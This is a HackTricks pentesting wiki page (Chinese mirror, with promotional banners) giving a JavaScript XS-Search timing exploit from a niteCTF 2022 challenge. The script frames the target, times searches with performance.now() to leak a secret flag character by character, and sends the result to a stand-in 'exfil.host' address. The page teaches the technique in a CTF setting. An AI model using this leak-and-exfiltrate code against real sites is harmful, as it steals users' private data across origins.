> For the complete documentation index, see [llms.txt](https://hacktricks.xsx.tw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacktricks.xsx.tw/pentesting-web/xs-search/performance.now-example.md).

# performance.now example

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

* 您在**网络安全公司**工作吗？您想看到您的**公司在HackTricks中做广告**吗？或者您想访问**PEASS的最新版本或下载PDF格式的HackTricks**吗？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向**hacktricks仓库**[**提交PR**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **分享您的黑客技巧**。

</details>

**示例取自**[**https://ctf.zeyu2001.com/2022/nitectf-2022/js-api**](https://ctf.zeyu2001.com/2022/nitectf-2022/js-api)

```javascript
const sleep = (ms) => new Promise((res) => setTimeout(res, ms));

async function check(flag) {
let w = frame.contentWindow;
w.postMessage({'op': 'preview', 'payload': '<img name="enable_experimental_features">'}, '*');
await sleep(1);
w.postMessage({'op': 'search', 'payload': flag}, '*');
let t1 = performance.now();
await sleep(1);
return (performance.now() - t1) > 200;
}

async function main() {
let alpha = 'abcdefghijklmnopqrstuvwxyz0123456789_ABCDEFGHIJKLMNOPQRSTUVWXYZ-}';
window.frame = document.createElement('iframe');
frame.width = '100%';
frame.height = '700px';
frame.src = 'https://challenge.jsapi.tech/';
document.body.appendChild(frame);
await sleep(1000);

let flag = 'nite{';
while(1) {
for(let c of alpha) {
let result = await Promise.race([
check(flag + c),
new Promise((res) => setTimeout(() => { res(true); }, 300))
]);
console.log(flag + c, result);
if(result) {
flag += c;
break;
}
}
new Image().src = '//exfil.host/log?' + encodeURIComponent(flag);
}
}

document.addEventListener('DOMContentLoaded', main);
```

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

* 你在**网络安全公司**工作吗？想要看到你的**公司在HackTricks中被宣传**吗？或者想要获取**PEASS的最新版本或下载HackTricks的PDF**吗？查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **在Twitter上** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **通过向** [**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**

</details>